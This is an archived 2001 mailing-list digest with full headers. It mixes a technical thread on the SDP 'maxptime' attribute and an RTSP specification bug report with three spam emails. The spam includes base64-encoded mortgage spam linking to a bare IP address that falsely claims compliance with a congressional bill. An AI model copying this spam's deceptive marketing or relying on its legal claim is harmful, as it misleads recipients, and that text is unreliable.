U1RST05HPjxGT05UIHNpemU9NT5hbGwgd2l0aCB0aGUgbG93ZXN0IGNvc3RzIGluIHRoZQ0K
TmF0aW9uISZxdW90OzwvRk9OVD48L1NUUk9ORz48QklHPjxCSUc+PEZPTlQgY29sb3I9I2Zm
MDAwMD4qPC9GT05UPjwvQklHPjwvQklHPjwvUD4NCjxQIGFsaWduPWNlbnRlcj48Rk9OVCAN
CnNpemU9NT48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+JnF1b3Q7PGI+PGk+WU9VIENBTiA8dT5C
VVkgRE9XTiBZT1VSIElOVEVSRVNUIFJBVEU8L3U+DQpUTzwvaT48L2I+PC9mb250PjwvRk9O
VD48L1A+DQo8UCBhbGlnbj1jZW50ZXI+PGZvbnQgY29sb3I9IiNGRjAwMDAiIHNpemU9IjUi
PjxiPjxpPkFTIExPVyBBUyBZT1UgQ0FODQpBRkZPUkQhJnF1b3Q7PC9pPjwvYj48L2ZvbnQ+
PEZPTlQgDQpzaXplPTU+PEJSPjwvRk9OVD48Rk9OVCBzaXplPTM+PC9GT05UPjwvUD4NCjxQ
IGFsaWduPWNlbnRlcj48Rk9OVCBzaXplPSswPjxGT05UIGNvbG9yPSMwMDAwZmYgc2l6ZT0y
PjxCSUc+PEJJRz48Rk9OVCANCmNvbG9yPSNmZjAwMDAgc2l6ZT01Pio8L0ZPTlQ+PC9CSUc+
PFNUUk9ORz5BbGwgcmF0ZXMgYXJlIGJhc2VkIG9uIA0KcXVhbGlmaWNhdGlvbjwvU1RST05H
PiE8L0JJRz48L0ZPTlQ+PC9GT05UPjwvUD4NCjxQIGFsaWduPWNlbnRlcj48Rk9OVCBzaXpl
PSswPjxGT05UIHNpemU9Mj48QklHPjwvQklHPjwvRk9OVD48Rk9OVCANCmNvbG9yPSMwMDAw
ZmY+PEZPTlQgZmFjZT1BcmlhbD48Rk9OVCBzaXplPTI+PEEgaHJlZj0iaHR0cDovLzIxNy42
Ny4yMzAuMTUiIA0KdGFyZ2V0PV9ibGFuaz48Rk9OVCBzaXplPTU+PFNUUk9ORz48Rk9OVCBm
YWNlPSJUaW1lcyBOZXcgUm9tYW4iPkNsaWNrIGhlcmUgZm9yIA0KeW91ciA8L0ZPTlQ+PEZP
TlQgc2l6ZT02PjxGT05UIGZhY2U9IlRpbWVzIE5ldyBSb21hbiI+PEVNPiJGUkVFIFJBVEUg
DQpRVU9URSIhPC9FTT48L0ZPTlQ+PC9GT05UPjwvU1RST05HPjwvRk9OVD48L0E+PC9GT05U
PjwvRk9OVD48L0ZPTlQ+PC9GT05UPjwvUD4NCjxQIGFsaWduPWxlZnQ+Jm5ic3A7PC9QPg0K
PFAgYWxpZ249bGVmdD48aT48Yj48Zm9udCBmYWNlPSJBcmlhbCIgc2l6ZT0iKzAiPkNMSUNL
IE9OIExPQU5TIEJFTE9XIEZPUiBZT1VSDQpGUkVFIEFQUExJQ0FUSU9OITwvZm9udD48L2I+
PC9pPjxGT05UIGZhY2U9QXJpYWw+PEJSPjwvRk9OVD48L1A+DQo8UCBhbGlnbj1sZWZ0PjxT
VFJPTkc+PEVNPjxBIGhyZWY9Imh0dHA6Ly8yMTcuNjcuMjMwLjE1IiANCnRhcmdldD1fYmxh
bms+PGZvbnQgc2l6ZT0iNSIgY29sb3I9IiM4MDAwODAiPlB1cmNoYXNlIExvYW5zPC9mb250
PjwvQT4gPEZPTlQgc2l6ZT01Pg0KPC9GT05UPiA8L0VNPjxGT05UIA0Kc2l6ZT00Pi0gPEVN
PlRob3VzYW5kcyBvZiBwcm9ncmFtcyANCmZvciBGaXJzdCBNb3J0Z2FnZXMhPC9FTT48L0ZP
TlQ+PEk+PC9JPjwvU1RST05HPjxJPjxGT05UIA0KY29sb3I9IzAwMDAwMD48QlI+PEJSPjwv
Rk9OVD48L0k+PEEgaHJlZj0iaHR0cDovLzIxNy42Ny4yMzAuMTUiIF9ibGFuaz8+PEVNPjxT
VFJPTkc+PGZvbnQgc2l6ZT0iNSIgY29sb3I9IiM4MDAwODAiPlJlZmluYW5jZSBMb2Fuczwv
Zm9udD48L1NUUk9ORz48L0VNPjxJPjxGT05UIA0KY29sb3I9IzAwMDAwMCBzaXplPTI+IDwv
Rk9OVD48L0k+PC9BPjxJPjxGT05UIGNvbG9yPSMwMDAwMDAgc2l6ZT00Pi0gPEI+UmVkdWNl
IHlvdXIgDQptb250aGx5IHBheW1lbnRzIGFuZDwvRk9OVD48Rk9OVCBjb2xvcj0jMDAwMDAw
IHNpemU9Mj4gPC9GT05UPjxGT05UIA0KY29sb3I9I2ZmMDAwMCBzaXplPTU+R2V0IENhc2gg
QmFjayE8L0ZPTlQ+PC9CPjxGT05UIGNvbG9yPSMwMDAwMDAgc2l6ZT00PiANCjwvRk9OVD48
Rk9OVCBjb2xvcj0jMDAwMDAwIHNpemU9Mz48QlI+PEJSPjwvRk9OVD48L0k+PEEgDQpocmVm
PSJodHRwOi8vMjE3LjY3LjIzMC4xNSIgdGFyZ2V0PV9ibGFuaz48Zm9udCBjb2xvcj0iIzgw
MDA4MCI+PEVNPjxCPjxGT05UIHNpemU9NT5TZWNvbmQgDQpNb3J0Z2FnZXM8L0ZPTlQ+PC9C
PjwvRU0+PEk+PEZPTlQgc2l6ZT0zPiA8L0ZPTlQ+PC9JPg0KPC9mb250PiA8L0E+PEk+PEZP
TlQgY29sb3I9IzAwMDAwMCBzaXplPTM+IC0gPC9GT05UPjxCPjxGT05UIA0KY29sb3I9IzAw
MDAwMCBzaXplPTQ+V2UgY2FuIGhlbHAgeW91IGdldCBmcm9tIDwvRk9OVD48Rk9OVCBjb2xv
cj0jZmYwMDAwIA0Kc2l6ZT01PjkwJTwvRk9OVD48Rk9OVCBjb2xvcj0jMDAwMDAwIHNpemU9
ND4gdXAgdG8gPC9GT05UPjxGT05UIGNvbG9yPSNmZjAwMDAgDQpzaXplPTU+MTI1JTwvRk9O
VD48Rk9OVCBjb2xvcj0jMDAwMDAwIHNpemU9ND4gb2YgeW91ciBob21lcyB2YWx1ZSEgKHJh
dGlvcyB2YXJ5IA0KYnkgc3RhdGUpPC9GT05UPjwvQj48L1A+DQo8UCBhbGlnbj1sZWZ0PjxB
IGhyZWY9Imh0dHA6Ly8yMTcuNjcuMjMwLjE1IiANCnRhcmdldD1fYmxhbms+PEI+PGZvbnQg
c2l6ZT0iNSIgY29sb3I9IiM4MDAwODAiPkRlYnQgQ29uc29saWRhdGlvbjwvZm9udD48L0I+
PC9BPjxGT05UIGNvbG9yPSMwMDAwMDAgc2l6ZT0zPiA8Rk9OVCBjb2xvcj0jMDAwMDAwIHNp
emU9ND4tIA0KPEI+Q29tYmluZSA8L0ZPTlQ+PEZPTlQgY29sb3I9I2ZmMDAwMCBzaXplPTU+
YWxsPC9GT05UPjxGT05UIGNvbG9yPSMwMDAwMDAgDQpzaXplPTQ+IHlvdXIgYmlsbHMgaW50
byA8L0ZPTlQ+PEZPTlQgY29sb3I9I2ZmMDAwMCBzaXplPTU+T25lIExvdyBNb250aGx5IA0K
UGF5bWVudCE8L0ZPTlQ+PC9CPjxCUj48QlI+PC9GT05UPjxCPjxBIA0KaHJlZj0iaHR0cDov
LzIxNy42Ny4yMzAuMTUiIHRhcmdldD1fYmxhbms+PGZvbnQgc2l6ZT0iNSIgY29sb3I9IiM4
MDAwODAiPkZpcnN0IFRpbWUgSG9tZSBCdXllcnM8L2ZvbnQ+PC9BPjxGT05UIGNvbG9yPSMw
MDAwMDAgc2l6ZT0zPiAtIA0KPEZPTlQgY29sb3I9IzAwMDAwMCBzaXplPTQ+V2UgY2FuIGhl
bHAgeW91IGJ1eSB3aXRoIDxGT05UIGNvbG9yPSNmZjAwMDAgDQpzaXplPTU+TG93PC9GT05U
PjwvRk9OVD48Rk9OVCBjb2xvcj0jZmYwMDAwIHNpemU9NT4gTW9uZXkgRG93bjwvRk9OVD48
Rk9OVCANCmNvbG9yPSMwMDAwMDAgc2l6ZT00PiwgYW5kIGV2ZW4gPC9GT05UPjxGT05UIGNv
bG9yPSNmZjAwMDAgc2l6ZT01PkdldCBDYXNoIA0KQmFjayE8L0ZPTlQ+PC9GT05UPjwvQj48
L1A+PC9JPg0KPFAgYWxpZ249Y2VudGVyPjxCSUc+PEJJRz48Rk9OVCBjb2xvcj0jZmYwMDAw
Pio8L0ZPTlQ+PC9CSUc+QWxsIHJhdGVzIGFyZSBiYXNlZCANCm9uIHF1YWxpZmljYXRpb24h
PC9CSUc+PC9QPg0KPFAgYWxpZ249Y2VudGVyPjxCPjxJPjxGT05UIGNvbG9yPSMwMDAwMDAg
c2l6ZT02PldlIGhhdmUgcHJvZ3JhbXMgZm9yIA0KPC9GT05UPjxGT05UIGNvbG9yPSNmZjAw
MDAgc2l6ZT02PjxVPkVWRVJZPC9VPjwvRk9OVD48Rk9OVCBjb2xvcj0jMDAwMDAwIHNpemU9
Nj4gDQpjcmVkaXQgc2l0dWF0aW9uITwvRk9OVD48QlI+PEJSPjxBIGhyZWY9Imh0dHA6Ly8y
MTcuNjcuMjMwLjE1IiB0YXJnZXQ9X2JsYW5rPjxGT05UIA0KY29sb3I9IzAwMDBmZiBzaXpl
PTU+Q2xpY2sgaGVyZSBmb3IgeW91ciBGUkVFIFJBVEUgUVVPVEUhPC9GT05UPjwvQT48L0k+
PC9CPjwvUD4NCjxQIGFsaWduPWxlZnQ+PEZPTlQgY29sb3I9IzAwODAwMD48U1RST05HPiAN
CklmIHlvdSBmZWVsIHRoYXQgeW91IGhhdmUgcmVjZWl2ZWQgdGhpcyBtZXNzYWdlIGluIGVy
cm9yLCBwbGVhc2UgZm9sbG93IHRoZSBiZWxvdyANCmluc3RydWN0aW9ucyBhbmQgeW91IHdp
bGwgYmUgcmVtb3ZlZCBpbW1lZGlhdGVseS4gIFdlIGltbWVkaWF0ZWx5IGhvbm9yIGFsbCBy
ZXF1ZXN0cyANCnRvIGJlIHJlbW92ZWQgZnJvbSB0aGlzIGxpc3QuIFRoaXMgbWVzc2FnZSBp
cyBiZWluZyBzZW50IHRvIHlvdSBpbiBjb21wbGlhbmNlIHdpdGggDQp0aGUgRmVkZXJhbCBs
ZWdpc2xhdGlvbiBmb3IgY29tbWVyY2lhbCBlLW1haWwgKEguUi40MTc2IC0gU2VjdGlvbiAx
MDEsICBQYXJhZ3JhcGggDQooZSkoMSkoYSkpIGFuZCBCaWxsIHMuMTYxOCBUaXRsZSBJSUkg
cGFzc2VkIGJ5IHRoZSAxMDV0aCBVUyBDb25ncmVzcy4sIGZ1cnRoZXIgDQp0cmFuc21pc3Np
b25zIHRvIHlvdSBieSB0aGUgc2VuZGVyIG9mIHRoaXMgZS1tYWlsIG1heSBiZSBzdG9wcGVk
IGF0IG5vIGNvc3QgdG8geW91IA0KYnkgc3VibWl0dGluZyBhIHJlcXVlc3QgdG8gYmUgcmVt
b3ZlZC4gPGEgaHJlZj0ibWFpbHRvOmdyZWF0cmF0ZXMxMDhAZXhjaXRlLmNvbT9zdWJqZWN0
PVBMRUFTRV9SRU1PVkVfTUUhX1ZSTzEiPkNsaWNrIEhlcmUgdG8gU2VuZCBhIFJlbW92ZSBS
ZXF1ZXN0PC9hPi4NCk5vIG5lZWQgdG8gdHlwZSBhbnkgbWVzc2FnZS48L1NUUk9ORz48L0ZP
TlQ+PC9QPjwvQk9EWT48L0hUTUw+

------=_NextPart_000_001__674584_76514.06--


From confctrl-owner  Mon Aug 20 01:07:53 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA22437
	for confctrl-outgoing; Mon, 20 Aug 2001 01:07:53 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA22432
	for <confctrl@zephyr.isi.edu>; Mon, 20 Aug 2001 01:07:52 -0700 (PDT)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f7K87rm16998
	for <confctrl@ISI.EDU>; Mon, 20 Aug 2001 01:07:56 -0700 (PDT)
Received: from era-t.ericsson.se (koff.ericsson.se [147.214.173.137])
	by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with SMTP id f7K87pv01739
	for <confctrl@ISI.EDU>; Mon, 20 Aug 2001 10:07:51 +0200 (MEST)
Received: from era-t.ericsson.se by era-t.ericsson.se (SMI-8.6/LME-DOM-2.2.5(ERA/T))
	id KAA19003; Mon, 20 Aug 2001 10:07:49 +0200
Message-ID: <3B80C558.945E00FB@era-t.ericsson.se>
Date: Mon, 20 Aug 2001 10:07:52 +0200
From: Magnus Westerlund <magnus.westerlund@era-t.ericsson.se>
X-Mailer: Mozilla 4.74 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: maxptime
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

In London at the MMUSIC meeting there was discussion concerning the new
SDP attribute MAXPTIME that it was not backwards compatible. What I
understood  the issue was: A receiver does not understand the maxptime
and ignores it. This will result in no restrictions on how much data is
put in each packet. The fear was that this will break the other end
point.

There is several purposes of the maxptime:
1. Limit the delay imposed by packetization. If it is known that a extra
packetization delay of more than e.g. 80 ms will make this media stream
useless this can be signaled.

2. Signal that there is a limit on my buffering memory. Normally this
should be a rather large limit. If the RTP audio and video profile is
used, a receiver SHOULD be capable of receiving at least 200 ms worth of
media in a single packet.

I don't see that the attribute in itself breaking any implementations. A
receiver signaling its desire to limit packetization must not trust the
other party to comply. So if you have memory restrictions you still need
have mechanisms for handling buffer overflow. An application trying to
limit delay can always end the session if limit is not meet and
resulting in unacceptable performance. The result of not understanding
and following maxptime must only be that sub-optimal performance is
achived.

It might be a good thing to add a comment in the SDP-new draft that this
attribute might not be followed due to older non upgraded SDP
implementations. But on the other side maxptime is only a suggested
attribute, and I don't see any requirments that is needs to be
implemented.

Regards

Magnus Westerlund

Audio Technology, Ericsson Research
----------------------------------------------------------------------
Ericsson Radio Systems AB  | Phone +46 8 4048287
Torshamsgatan 23           | Fax   +46 8 7575550
S-164 80 Stockholm, Sweden | mailto: magnus.westerlund@era-t.ericsson.se




From confctrl-owner  Mon Aug 20 02:22:41 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA26340
	for confctrl-outgoing; Mon, 20 Aug 2001 02:22:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA26335
	for <confctrl@zephyr.isi.edu>; Mon, 20 Aug 2001 02:22:40 -0700 (PDT)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f7K9Mnm29334
	for <confctrl@isi.edu>; Mon, 20 Aug 2001 02:22:49 -0700 (PDT)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15YlGj-0001eo-00; Mon, 20 Aug 2001 02:22:49 -0700
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15YlGi-0002wn-00; Mon, 20 Aug 2001 02:22:48 -0700
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-453258 ] Inconsistency with range in Pause
Message-Id: <E15YlGi-0002wn-00@usw-sf-web3.sourceforge.net>
Date: Mon, 20 Aug 2001 02:22:48 -0700
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #453258, was opened at 2001-08-20 02:22
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=453258&group_id=23194

Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Submitted By: Nobody/Anonymous (nobody)
Assigned to: Nobody/Anonymous (nobody)
Summary: Inconsistency with range in Pause

Initial Comment:
Page 36, Pause method

Second paragraph states that any pause method 
containing a pause point not present in any pending 
play should be returned with error 457 Invalid range. 

Last paragraph on page contains an example with a 
pause with an illegal pause point. Plays for 10-15 and 
20-29. Then a pause for 16 is requested and it is 
stated it should stop after play segement 10-15 and 
remove the 20-29 play request. Should this pause 
request not result in a 457 error?   

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=453258&group_id=23194

From confctrl-owner  Mon Aug 20 02:55:50 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA27694
	for confctrl-outgoing; Mon, 20 Aug 2001 02:55:50 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA27683
	for <confctrl@zephyr.isi.edu>; Mon, 20 Aug 2001 02:55:48 -0700 (PDT)
Received: from mail.ctsc.com.cn ([202.109.75.44])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f7K9ttm02739;
	Mon, 20 Aug 2001 02:55:56 -0700 (PDT)
Received: by mail.ctsc.com.cn from localhost
    (router,SLMail V3.2); Thu, 16 Aug 2001 16:39:33 +0800
Received: from [202.108.68.140] [202.108.68.140]
 by mail.ctsc.com.cn [202.109.75.43]  (SLmail 3.2.3113) with SMTP
 id 4B258AD953EB11D5ACE200A0C9EBEEE2
 for <bwijnen@lucent.com> plus 100 more; Wed, 06 Jun 2001 09:05:49 0800
From: hengdatie@sina.com
To: 
Subject: Searching for Partner of Scarves, Necties, Textiles, Silks
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Date: Tue, 12 Jun 2001 09:06:35 +0800
Message-id: <20010816163933.4b258ad953eb11d5ace200a0c9ebeee2.in@mail.ctsc.com.cn>
X-SLUIDL: 369DF926-922211D5-ACE400A0-C9EBEEE2
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

HtR*H!O{#,Gk;X84:  cancel@china.com              
Dear sir:
We are Manufacturer and exporter of all kinds of scarves, neckties, textiles, accessories, and silk goods.---- HENGDA NECKTIE AND FASHION CO.,LTD. 
WE ARE SPECIALIZED IN PRODUCING HIGH- GRADE SILK(POLYESTER) PRINTING AND JACQUARD TIE, WOOL AND SILK SCARF!"CUSTOMERS OWN DESIGNS. LOGO AND GRAPHICS ALSO COULD BE ACCORDINGLY HANDLED
WE BECOME A BIGGER TIE MANUFACTURE AND EXPORTER IN CHINA. MORE THAN 2 MILLIONS PIECES, TIES AND HALF MILLION SILK SCARVES CAN BE MADE EVERY YEAR. OUR PRODUCTS ARE VERY PROPULAR IN EUROPE!"AMERICA!"MIDDLE EAST!"JAPAN ETC, ABOUT 20 COUNTRIES AND REGIONS.
 

ZHEJIANG SHENGZHOU HENGDA NECKTIE AND FASHION CO.,LTD. 
URL: http://www.hengdatie.com ,http://www.chinatiegroup.com
Add: No.24 Shangxing Road Shengzhou Zhejiang China
Tel: +86-575-3048908 3048228 3047325
Fax: +86-575-3048360
E-mial: szhengda@mail.sxptt.zj.cn
Contact:Mr.SHEN

From confctrl-owner  Mon Aug 20 14:59:31 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id OAA04625
	for confctrl-outgoing; Mon, 20 Aug 2001 14:59:31 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA04620
	for <confctrl@zephyr.isi.edu>; Mon, 20 Aug 2001 14:59:30 -0700 (PDT)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f7KLxdm16833
	for <confctrl@ISI.EDU>; Mon, 20 Aug 2001 14:59:39 -0700 (PDT)
Received: from sj-msg-av-3.cisco.com (sj-msg-av-3.cisco.com [171.69.2.19])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f7KLxgT08127;
	Mon, 20 Aug 2001 14:59:42 -0700 (PDT)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-3.cisco.com (8.10.1/8.10.1) with ESMTP id f7KLxNN05526;
	Mon, 20 Aug 2001 14:59:23 -0700 (PDT)
Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id OAA23821; Mon, 20 Aug 2001 14:59:22 -0700 (PDT)
Message-ID: <3B8188B6.136B4DD3@cisco.com>
Date: Mon, 20 Aug 2001 18:01:26 -0400
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.78 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Magnus Westerlund <magnus.westerlund@era-t.ericsson.se>
CC: confctrl@ISI.EDU
Subject: Re: maxptime
References: <3B80C558.945E00FB@era-t.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Magnus Westerlund wrote:

> Hi,
>
> In London at the MMUSIC meeting there was discussion concerning the new
> SDP attribute MAXPTIME that it was not backwards compatible. What I
> understood  the issue was: A receiver does not understand the maxptime
> and ignores it. This will result in no restrictions on how much data is
> put in each packet. The fear was that this will break the other end
> point.
>
> There is several purposes of the maxptime:
> 1. Limit the delay imposed by packetization. If it is known that a extra
> packetization delay of more than e.g. 80 ms will make this media stream
> useless this can be signaled.
>
> 2. Signal that there is a limit on my buffering memory. Normally this
> should be a rather large limit. If the RTP audio and video profile is
> used, a receiver SHOULD be capable of receiving at least 200 ms worth of
> media in a single packet.
>
> I don't see that the attribute in itself breaking any implementations. A
> receiver signaling its desire to limit packetization must not trust the
> other party to comply. So if you have memory restrictions you still need
> have mechanisms for handling buffer overflow. An application trying to
> limit delay can always end the session if limit is not meet and
> resulting in unacceptable performance. The result of not understanding
> and following maxptime must only be that sub-optimal performance is
> achived.
>
> It might be a good thing to add a comment in the SDP-new draft that this
> attribute might not be followed due to older non upgraded SDP
> implementations.

Right - that was essentially the conclusion.


> But on the other side maxptime is only a suggested
> attribute, and I don't see any requirments that is needs to be
> implemented.

That's a little weaker than I thought.

Since we are on the subject anyway, I have a related question:

Since "maxptime" is a media stream attribute, and we may have multiple
codecs for a given media stream, how does one satisfy that

        "The time SHOULD be a multiple of the frame size."

There is a similar issue with "ptime" of course, but the language is
somewhat weaker there.

-- Flemming


>
>
> Regards
>
> Magnus Westerlund
>
> Audio Technology, Ericsson Research
> ----------------------------------------------------------------------
> Ericsson Radio Systems AB  | Phone +46 8 4048287
> Torshamsgatan 23           | Fax   +46 8 7575550
> S-164 80 Stockholm, Sweden | mailto: magnus.westerlund@era-t.ericsson.se

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Mon Aug 20 16:31:08 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id QAA09923
	for confctrl-outgoing; Mon, 20 Aug 2001 16:31:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA09918
	for <confctrl@zephyr.isi.edu>; Mon, 20 Aug 2001 16:31:07 -0700 (PDT)
Received: from permissiononly.com (permissiononly.com [216.133.253.90])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f7KNVGm23333
	for <confctrl@isi.edu>; Mon, 20 Aug 2001 16:31:16 -0700 (PDT)
Received: (from mailman@localhost)
	by permissiononly.com (8.9.3/8.9.3) id PAA19411;
	Mon, 20 Aug 2001 15:51:28 -0700
Date: Mon, 20 Aug 2001 15:51:28 -0700
Message-Id: <200108202251.PAA19411@permissiononly.com>
Content-type: text/html
From: Bart.Wheeler@permissiononly.com
To: confctrl@ISI.EDU
Subject: Add Streaming Media to your Web Site
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<!--
Your E-mail Client Does Not Support HTML. 

Visit http://www.vitalstream.com/ads/wme/signin.html for your FREE Streaming Kit.
-->
<HTML>
<HEAD>
<TITLE>VitalStream</TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
</HEAD>
<BODY BGCOLOR=#0038A8 background="http://www.vitalstream.com/ads/wme/images/background.gif" link="#0038A8" vlink="#339900" alink="#00A3DD">
<TABLE BORDER=0 CELLPADDING=0 CELLSPACING=0 width="680" align="center">
  <TR>
    <TD width="5" height="5"><IMG SRC="http://www.vitalstream.com/ads/wme/images/corner-tl.gif" WIDTH=5 HEIGHT=5></TD>
    <TD bgcolor="#FFFFFF" height="5" width="670"><img src="http://www.vitalstream.com/ads/wme/images/clear-pixel.gif" width="5" height="5"></TD>
    <TD width="5" height="5"><IMG SRC="http://www.vitalstream.com/ads/wme/images/corner-tr.gif" WIDTH=5 HEIGHT=5></TD></TR>
        <TR>
                
    <TD bgcolor="#FFFFFF" width="5">&nbsp; </TD>
    <TD bgcolor="#FFFFFF" width="670">
      <table width="670" border="0" cellspacing="0" cellpadding="5">
        <tr> 
          <td rowspan="2" width="230"> 
            <table border=0 cellpadding=0 cellspacing=0 align="center">
              <tr> 
                <td colspan=3> <img src="http://www.vitalstream.com/ads/wme/images/wm-t.gif" width=220 height=12></td>
              </tr>
              <tr> 
                <td> <img src="http://www.vitalstream.com/ads/wme/images/wm-l.gif" width=30 height=120></td>
                <td> <a href="http://www.vitalstream.com/streaming/showcase.html"><img src="http://www.vitalstream.com/ads/wme/images/screen-interplay.gif" width=160 height=120 alt="Now Showing" border="0"></a></td>
                <td> <img src="http://www.vitalstream.com/ads/wme/images/wm-r.gif" width=30 height=120></td>
              </tr>
              <tr> 
                <td colspan=3> <a href="http://www.vitalstream.com/ads/wme/signin.asp"><img src="http://www.vitalstream.com/ads/wme/images/wm-b.gif" width=220 height=92 alt="Free Streaming Kit" border="0"></a></td>
              </tr>
            </table>
          </td>
          <td colspan="2" align="center"><font face="Arial, Helvetica, sans-serif" size="4" color="#5BBF21"><b>You 
            Can Add Streaming Media to<br>
            &lt;www.domain.com&gt;</b></font></td>
        </tr>
        <tr> 
          <td valign="top" width="220"> 
            <p><font face="Arial, Helvetica, sans-serif" color="#0038A8"><b>Streaming 
              Media is Easier Than You Think</b></font><br>
              <img src="http://www.vitalstream.com/ads/wme/images/clear-pixel.gif" width="10" height="10"><br>
              <font face="Arial, Helvetica, sans-serif" size="2">I invite you 
              to learn more about streaming media by reading our <a href="http://www.vitalstream.com/ads/wme/signin.asp">Free 
              Streaming Kit</a> on Live Streaming with Windows Media. It contains 
              a step-by-step tutorial on how to stream media over the Internet 
              with Windows Media technologies.</font></p>
            </td>
          <td valign="top" width="220"> 
            <p><font face="Arial, Helvetica, sans-serif" size="2">VitalStream 
              specializes in customized streaming and hosting solutions for small 
              to medium sized businesses.</font><br>
              <img src="http://www.vitalstream.com/ads/wme/images/clear-pixel.gif" width="10" height="10"><br>
              <font face="Arial, Helvetica, sans-serif" color="#0038A8"><b>VitalStream 
              Delivers...</b></font><font face="Arial, Helvetica, sans-serif" size="2"><br>
              <img src="http://www.vitalstream.com/ads/wme/images/clear-pixel.gif" width="5" height="5"><br>
              - Live and On-Demand Streaming <br>
              - Pay-Per-View Solutions <br>
              - 24 x 7 Live Technical Support <br>
              - 99.7% Guaranteed Uptime <br>
              - And More...</font></p>
            </td>
        </tr>
        <tr> 
          <td width="230" align="center" valign="top"> 
            <p><font color="#0038A8" face="Arial, Helvetica, sans-serif" size="2"> 
              <a href="http://www.vitalstream.com/streaming/showcase.html">These 
              companies</a> use us <br>
              for their streaming needs. </font></p>
            <p><font color="#0038A8" face="Arial, Helvetica, sans-serif" size="2">Call 
              today to see what <br>
              VitalStream can do for <br>
              &lt;www.domain.com&gt;</font></p>
          </td>
          <td width="220" valign="middle" align="center"><img src="http://www.vitalstream.com/ads/wme/images/logo-wmsp-h.gif" width="110" height="58" alt="Windows Media Service Provider"></td>
          <td width="220" valign="top"> 
            <p><font face="Arial, Helvetica, sans-serif" size="2" color="#0038A8">bwheeler@vitalstream.cc 
             </font><font face="Arial, Helvetica, sans-serif" size="2"><br>
             Account Representative<br>
              (888) 999-4932 x2023<br>
              Bart Wheeler</font><br>
              <img src="http://www.vitalstream.com/ads/wme/images/clear-pixel.gif" width="10" height="10"><br>
              <a href="http://www.vitalstream.com"><img src="http://www.vitalstream.com/ads/wme/images/logo-vs.gif" width="166" height="37" alt="VitalStream" border="0"></a></p>
            </td>
        </tr>
      </table>
    </TD>
    <TD bgcolor="#FFFFFF" width="5">&nbsp; </TD>
        </TR>
        <TR>            
    <TD width="5" height="5"><IMG SRC="http://www.vitalstream.com/ads/wme/images/corner-bl.gif" WIDTH=5 HEIGHT=5></TD>          
    <TD bgcolor="#FFFFFF" height="5" width="670"><img src="http://www.vitalstream.com/ads/wme/images/clear-pixel.gif" width="5" height="5"></TD>                
    <TD width="5" height="5"><IMG SRC="http://www.vitalstream.com/ads/wme/images/corner-br.gif" WIDTH=5 HEIGHT=5></TD></TR>
</TABLE>
<div align="center">
  <p><br>
    <a href="http://www.vitalstream.com/vscc/vscc.asp"><font face="Arial, Helvetica, sans-serif" size="1" color="#6699FF">Click 
    here</font></a> <font face="Arial, Helvetica, sans-serif" size="1" color="#6699FF">if 
    you received this message in error.</font></p>
